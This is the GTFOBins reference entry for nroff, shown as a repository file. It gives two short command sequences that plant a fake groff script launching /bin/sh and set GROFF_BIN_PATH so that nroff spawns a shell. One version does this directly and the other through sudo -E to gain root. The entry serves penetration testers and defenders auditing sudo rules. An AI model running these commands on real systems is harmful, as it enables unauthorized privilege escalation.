GTFOBins.github.io/_gtfobins/nroff.md
2020-03-17 19:38:41 +01:00

386 B

functions
shell sudo
code
TF=$(mktemp -d) echo '#!/bin/sh' > $TF/groff echo '/bin/sh' >> $TF/groff chmod +x $TF/groff GROFF_BIN_PATH=$TF nroff
code
TF=$(mktemp -d) echo '#!/bin/sh' > $TF/groff echo '/bin/sh' >> $TF/groff chmod +x $TF/groff sudo -E GROFF_BIN_PATH=$TF nroff